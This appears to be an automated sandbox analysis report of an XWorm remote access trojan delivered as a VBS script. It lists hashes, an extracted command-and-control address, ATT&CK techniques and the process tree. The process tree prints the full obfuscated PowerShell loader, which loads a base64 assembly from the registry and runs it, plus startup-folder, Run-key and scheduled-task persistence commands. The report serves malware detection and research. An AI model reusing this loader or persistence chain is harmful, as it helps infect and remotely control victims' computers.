xworm | db947993a090882f53dc6e88e0510d11041a0a5028742db5f93c76061c42b225

Analysis

max time kernel
1045s
max time network
1049s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
21/06/2024, 20:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
FUD.vbs
Size 51KB
Sample240621-za79ravfnm
SHA256 db947993a090882f53dc6e88e0510d11041a0a5028742db5f93c76061c42b225
MD5 6b83a09ad13160e0b702975741b3ad05
SHA1 6176f88ff38e34b19564af965d63c95a9b52ed7a
SHA512 b2c187a83f6cc43862bb2c9ab263d57ff6972b12590bf0c04bcf3d83a2aff896f9576540a9868882b5f1af84bdbb2ac04c47feea1a577f92b1a8edd3734a5ded
SSDEEP 1536:+64QdHCZQwDF9SkelLyAPh0voJKfI2jygScsddWZrv+Vj:+64ACp9reVUvWII2gJdWZT+Vj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

Jamalhacker-53065.portmap.io:23695

Mutex

kWvWL3qmxl7MyOaZ

Attributes

Install_directory
%Userprofile%
install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/1200-15-0x0000014A5DFC0000-0x0000014A5DFD0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 64 IoCs

flow	pid	Process
2	1200	powershell.exe
3	1200	powershell.exe
4	1200	powershell.exe
5	1200	powershell.exe
6	1200	powershell.exe
7	1200	powershell.exe
8	1200	powershell.exe
9	1200	powershell.exe
10	1200	powershell.exe
11	1200	powershell.exe
13	1200	powershell.exe
14	1200	powershell.exe
15	1200	powershell.exe
16	1200	powershell.exe
17	1200	powershell.exe
18	1200	powershell.exe
19	1200	powershell.exe
20	1200	powershell.exe
21	1200	powershell.exe
22	1200	powershell.exe
23	1200	powershell.exe
24	1200	powershell.exe
25	1200	powershell.exe
26	1200	powershell.exe
27	1200	powershell.exe
28	1200	powershell.exe
29	1200	powershell.exe
30	1200	powershell.exe
31	1200	powershell.exe
32	1200	powershell.exe
33	1200	powershell.exe
34	1200	powershell.exe
35	1200	powershell.exe
36	1200	powershell.exe
37	1200	powershell.exe
38	1200	powershell.exe
39	1200	powershell.exe
40	1200	powershell.exe
42	1200	powershell.exe
47	1200	powershell.exe
48	1200	powershell.exe
49	1200	powershell.exe
50	1200	powershell.exe
51	1200	powershell.exe
52	1200	powershell.exe
54	1200	powershell.exe
55	1200	powershell.exe
56	1200	powershell.exe
57	1200	powershell.exe
58	1200	powershell.exe
59	1200	powershell.exe
60	1200	powershell.exe
61	1200	powershell.exe
63	1200	powershell.exe
64	1200	powershell.exe
65	1200	powershell.exe
66	1200	powershell.exe
67	1200	powershell.exe
68	1200	powershell.exe
69	1200	powershell.exe
70	1200	powershell.exe
71	1200	powershell.exe
72	1200	powershell.exe
73	1200	powershell.exe

Drops startup file 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2952	Windows backup

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1560405787-796225086-678739705-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows backup = "C:\\Users\\Admin\\Windows backup"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1200	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2792	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1200	powershell.exe
1200	powershell.exe
2952	Windows backup
2952	Windows backup

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	2952	Windows backup

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 864 wrote to memory of 1200	864	WScript.exe	82
PID 864 wrote to memory of 1200	864	WScript.exe	82
PID 1200 wrote to memory of 2792	1200	powershell.exe	85
PID 1200 wrote to memory of 2792	1200	powershell.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs'; $demitone = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $demitone = -join $demitone[-1..-$demitone.Length];[<##>AppDomain<##>]::<##>('ipsedixitishurrentDomain'.replace('ipsedixitish','C'))<##>.<##>('bulblessoad'.replace('bulbless','L'))([Convert]::FromBase64String($demitone))<##>.<##>('absolutisticallyntryPoint'.replace('absolutistically','E'))<##>.<##>('Inmingleableoke'.replace('mingleable','v'))($Null,$Null)<##>;
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Adds Run key to start application
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows backup" /tr "C:\Users\Admin\Windows backup"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2792

C:\Users\Admin\Windows backup
"C:\Users\Admin\Windows backup"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
MD5 e566632d8956997225be604d026c9b39
SHA1 94a9aade75fffc63ed71404b630eca41d3ce130e
SHA512 f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
SSDEEP 1536:LflJdDiFHzdytYLYkzvHgfKQNUpeE711kDa5ljNC+jH0IM5MXYo3Xi3j39MVvjB8:LflJdWFHzd6YLYkzvHgfKQNUpeE711kz
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_yxqivpvp.liz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yxqivpvp.liz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Windows backup

Path C:\Users\Admin\Windows backup
Size 440KB
SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
MD5 0e9ccd796e251916133392539572a374
SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1200-13-0x0000014A5E180000-0x0000014A5E1C6000-memory.dmp

Download

memory/1200-11-0x00007FFB5D210000-0x00007FFB5DCD2000-memory.dmp

Download

memory/1200-12-0x00007FFB5D210000-0x00007FFB5DCD2000-memory.dmp

Download

memory/1200-0-0x00007FFB5D213000-0x00007FFB5D215000-memory.dmp

Download

memory/1200-15-0x0000014A5DFC0000-0x0000014A5DFD0000-memory.dmp

Download

memory/1200-20-0x00007FFB5D210000-0x00007FFB5DCD2000-memory.dmp

Download

memory/1200-21-0x00007FFB5D213000-0x00007FFB5D215000-memory.dmp

Download

memory/1200-22-0x00007FFB5D210000-0x00007FFB5DCD2000-memory.dmp

Download

memory/1200-10-0x00007FFB5D210000-0x00007FFB5DCD2000-memory.dmp

Download

memory/1200-9-0x0000014A5DF80000-0x0000014A5DFA2000-memory.dmp

Download